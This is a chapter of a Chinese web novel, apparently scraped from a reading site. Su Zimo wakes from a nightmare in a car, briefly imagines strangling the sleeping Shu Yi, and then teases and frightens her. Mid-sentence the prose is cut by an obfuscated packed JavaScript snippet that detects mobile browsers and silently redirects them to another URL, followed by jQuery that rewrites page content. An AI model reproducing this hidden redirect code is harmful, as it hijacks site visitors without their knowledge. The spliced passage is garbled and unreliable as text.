在梦中,一切都变得轻缓,裹挟着他向下坠去。
一个模糊的声音在他耳边响起来,叫的却好像不是他:
“小沫,你要乖……”
苏子沫感觉自己被推搡着,似乎有一个人把手轻轻地搭在他肩上。他理应排斥触碰,可这时却没抗拒,心情几乎是愉悦的。
他感觉自己站住了。
有一个人冲他招招手,笑笑,对他背后那人说:“好了,交给我吧。”
大人牵着他的手,一直向前走去。背后站着的人越来越远,苏子沫本能地想要回头去看,可是前面的人狠狠拽了他一下。走着走着,景色逐渐变得昏暗,那个人把他带进了一个小房间。
房间里,站着一个男孩。
男孩高兴地对他说:“真有你的,你说的是真的吗?那你试试看,假如不行的话……”
试……试什么?
苏子沫后面的话听不清楚了,他只觉得这个孩子的声音很熟悉,可是想不起来是谁。他眯起眼,仍然看不清孩子的样子。只是孩子目光似有决然,让他心里一紧。
迟迟没有得到苏子沫的回答,男孩不高兴了。
“行,我明白了。你去还是我去?你这样不行啊,一个人办事情怎么能这样呢?你以后记得要改……算我们是朋友,这次就我去,下次轮到你!”
去做什么?
这句话像是触发了某种极其不详的东西,咔、咔咔……头顶的吊灯开始摇晃,发出刺啦刺啦的电流声。狭小的房间骤然变得恐怖,白色的墙壁渗出红色的血滴,大颗大颗漫到地板上,吞没了男孩。
“为什么会这样?!为什么会这样!!不应该的,这不可能……救救我!救救我!!!”
男孩哭喊着,抓住了他的衣领。原来,他和男孩一样高,也是个孩子。明明只要拉住男孩就好,面对这一切,他却没有动,也没有握住那只颤抖的小手。
孩子哭泣的脸骤然变得狰狞,恍如厉鬼。
“为什么不救我?!”
“为什么不救我。”
“为什么不救我……”
为什么
不救我?
血潮席卷着他,把男孩拖向深渊。苏子沫在梦里漠然地倚在什么东西上边,像个局外人一样面对着这一切。
“杀了我吧。”
红色的潮也没过了他的头顶,声音,如同震荡的洪流被解放
尖锐的、响亮的,挤压他,穿透他,抓住他——苏子沫知道自己又控制不住开始做噩梦了,可是醒不过来。只得任凭尖锐的嘶声越来越清晰,像成千上万的玻璃碎片,冲着他当头而下。无数张脸,看不清是谁,只有面容的狰狞与怨毒如出一辙。
“你杀了我吧。”
“求求你,让我解脱吧…不要了……求你。杀了我……”
苏子沫动了动手指。
“哈哈哈哈哈,你真可怜,你没有一个人爱你;你死了,也不会有人为你哭,掉一滴眼泪,大家都在拍手叫好。你怎么就不明白,从来都没人在乎你,当然也就没有人会相信你。”
“在逃什么?承认吧,其实你早就不是个正常人了。可你偏偏要装得和他们一样,真可怜。不累吗?”
“苏子沫,你这样对得起苏璟吗?”
这一瞬间,他忽然被什么东西推了一下,带着一点淡淡的香味。
意识被硬生生唤回,苏子沫挣扎着醒过来,睁开眼睛。
他轻轻抽了一口气。
“嘶……”
女孩可能同样有些困意,也在车上睡着了。司机明显刚刚打过一个大转弯,舒懿大概是睡得太熟的缘故,即使依惯性歪到了他肩上也没有醒。
两个人依靠着,女孩正枕在他的肩膀上,安宁又恬静。
苏子沫愣了一下。从这个角度看过去,她睫毛在眼下打出大片的阴影,两缕不安分的头发顽强地从那头支棱八叉的乱毛里翘出来,朝气得倒近乎可耻了。发丝软软的,不知用了什么洗发水,好像有股淡淡的香味。
他把视线往外移了一点,又买一送一地看见了自己被口水弄湿的大衣。
“……”
艹。
苏子沫磨了磨后槽牙。
啧。
这他爹简直是他洁癖人生中最、大、的、污、点。
难以克制的暴躁情绪略微有些抬头,他深深地觉得自己真是有病,怎么就鬼迷心窍地同意在车上休息了呢?
苏子沫低下头,面无表情地看着睡得人事不知的舒懿。而后,他伸出手轻轻扣住她的脖颈,指尖泛出一点冷冷的蓝光来。
手掌下微微跳动的脉搏,人体暖乎乎的温度贴着皮肤,像一只缩在手心的小动物。他甚至都用不上能力,就能把这个鲜活的生命扼杀在这里。女孩会惊醒,然后拼命挣扎,温热的鲜血会喷得他满手都是,明亮的琥珀色瞳孔会一点点涣散开来,最后成为无机质一般的玻璃球……
面前舒懿非常没有形象地枕着他,丝毫没感觉到被掐住了脖子。蹭了蹭他,口水流得更欢了。
苏子沫平静无波地看着,好半晌,把手收了回去。狠狠地,一弹额头——
“呜!”
舒懿吃痛惊醒,刚刚想骂人,低头一看——
。
她心里咯噔一声,暗叫不好。
那么优雅修身的卡其色大衣,原本干净得一尘不染,此刻却被某种晶亮的无色液体弄湿了一小块。而液体的来源……
完了,完了……
舒懿双眼无神,战战兢兢地抬头。
“…阿巴阿巴阿巴……”
苏子沫身体略微前倾,歪着头弯了眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385378|200222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛看她,露出一个让人齿寒的温柔笑容:
“睡得好吗?”
声音像是从齿缝里挤出来的。
“我错了…………”
“错了。”
苏子沫垂下眼帘,慢条斯理地清理着肩膀上的口水渍,轻缓地说:
“嗯,不错,就是听起来稍微有点廉价。”
“……”
“是不是还想说‘我不是故意的’?”
“……”
“很好,非常好。”苏子沫笑了,突然凑近她:“你应该庆幸这里还有第三个人。”
他身上戾气太重,把舒懿吓了一跳。她下意识往外挪了点,内心乱成了一团被猫咪玩乱的毛线球,抖抖索索地咩咩叫:
“领,领导,苏子沫?真的,您信我!我绝对没有要靠近您的意思啊,领导!呜……这都怪我的嘴,我大脑缺失所以对神经中枢的控制力不够……我是煞笔,我是脑残,我抽自己两个大嘴巴子!呜呜我错了…您一定要信我啊!我比您还不想看到这种局面!下次我保证绝对保持离您1米远,对不起领导,我错了领导……”
舒懿后知后觉地发现,自己被苏子沫表面上那道貌岸然的样子蒙蔽了。这家伙似乎不是什么被别人排挤的可怜娃子,而是头嗜血的凶兽,苏醒的时候身上血腥气浓重得呛人。
“希望,你以后可以一直碰到第三个人。”
苏子沫嗤笑一声。
“苏,苏子沫……我错了,我真的……”
压迫感。现在总算明白,为什么那么嚣张拔扈的周扬见了这个人活像耗子见了猫……凑近的时候才发现他真的好高,向下看的时候冰蓝色瞳孔冷得刺骨,让人有种可怕的错觉,仿佛刀尖,锋利的,抵在人的喉间
他扫了舒懿一眼。
她虽比大多数人都傻大胆,可毕竟太年轻了,一眼就能看到底。现在舒懿活像一只鹌鹑一样缩成了一个圆圆小小的球,“嘤嘤嘤”地和他说话,应该是害怕了。苏子沫动作顿了顿,突然觉得有点想笑,那点暴躁就散了。
嗯,吓唬傻孩子的游戏到此为止。苏子沫顿了顿,以光速收起了自己的爪牙,戴上了他温文尔雅的画皮:
“嗯?怎么真害怕了?我开玩笑的,没照顾到你的感受,不好意思。”
爹!您的玩笑不仅毫无笑点而且潜台词溢出地球了吧?!我都快心脏病直接发作了好吗?!
姓苏的……真他爹是个狼灭吧?
“总之,吓到你我很抱歉。”苏子沫彬彬有礼地冲她点了个头,坐了回去,移开了视线。“下次记得别这样了。”
舒懿背抵着车门,还有点劫后余生的防备,忍不住把手横在身前。苏子沫的眼睛不聚焦,整个人又恢复了惯常的温雅斯文。
然而她已经有点不能直视这张正人君子的脸了。